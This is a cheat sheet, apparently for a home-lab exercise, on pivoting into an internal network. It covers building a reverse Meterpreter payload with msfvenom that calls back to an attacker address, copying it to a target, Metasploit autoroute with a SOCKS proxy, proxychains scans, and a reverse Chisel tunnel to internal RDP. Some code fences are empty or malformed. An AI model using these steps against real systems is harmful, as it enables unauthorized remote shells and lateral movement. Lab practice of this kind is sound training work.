

Network Pivoting Quick Reference

VirtualBox Network Setup

Configure Debian Pivot Machine

Adapter 1: Bridged Adapter (external access) **Adapter 2:** Internal Network (intnet2)

Manual IP Assignment (Second Adapter)

```
bash

# Set up internal network interface
sudo ip link set enp0s8 down
sudo ip addr flush dev enp0s8
sudo ip addr add 172.16.1.10/24 dev enp0s8
sudo ip link set enp0s8 up

# Verify setup
ip a
```

Metasploit Autoroute Setup

Generate Meterpreter Payload

```
bash

# Create reverse Meterpreter payload
msfvenom -p linux/x64/meterpreter_reverse_tcp \
LHOST=192.168.2.174 LPORT=4444 -f elf > shell.elf

# Transfer to target
scp shell.elf hacker@192.168.2.193:/tmp/
```

Configure Autoroute & SOCKS Proxy

```
bash
```

```
# In Metasploit console
use post/multi/manage/autoroute
set SESSION 1
set SUBNET 172.16.1.0/24
run

# Start SOCKS proxy
use auxiliary/server/socks_proxy
set SRVPORT 1080
run
```

Proxychains Configuration

Edit Proxychains Config

```
bash

# Edit config file
sudo vim /etc/proxychains4.conf

# Add at bottom:
socks4 127.0.0.1 1080
```

Use Proxychains for Internal Access

```
bash

# Scan internal network
proxychains nmap -sT -Pn 172.16.1.10-30

# Access web services
proxychains curl http://172.16.1.10
```

Chisel Tunneling

Download & Setup Chisel (Kali)

```
bash
```

```
wget https://github.com/jpillora/chisel/releases/download/v1.9.1/\
chisel_1.9.1_linux_amd64.gz
gzip -d chisel_1.9.1_linux_amd64.gz
mv chisel_1.9.1_linux_amd64 chisel
chmod +x chisel
```

Start server

```
./chisel server -p 8080 --reverse
```

Setup Chisel Client (Target)

```
bash
```

Transfer and setup

```
scp chisel hacker@192.168.2.193:/tmp/
```

```
ssh hacker@192.168.2.193
```

```
chmod +x /tmp/chisel
```

Connect client for RDP tunnel

```
/tmp/chisel client 192.168.2.174:8080 R:8888:172.16.1.10:3389
```

Access Tunneled Services

```
bash
```

Connect to internal RDP via tunnel

```
rdesktop 127.0.0.1:8888
```

Troubleshooting

Network Interface Issues

```
bash
```

Check VirtualBox adapter settings:

Settings > Network > Adapter 2

Enable Network Adapter ✓

Attached to: Internal Network ✓

Cable Connected ✓

SSH Tunneling Problems

```
bash
```

```
# Enable SSH forwarding on Debian
```

```
sudo vim /etc/ssh/sshd_config
```

```
# Add: AllowTcpForwarding yes
```

```
sudo systemctl restart ssh
```

Common Connection Issues

- **No IP on enp0s8:** Manually assign IP as shown above
- **Chisel not connecting:** Verify correct Kali IP in client command
- **Tunnel fails:** Check firewall and interface bindings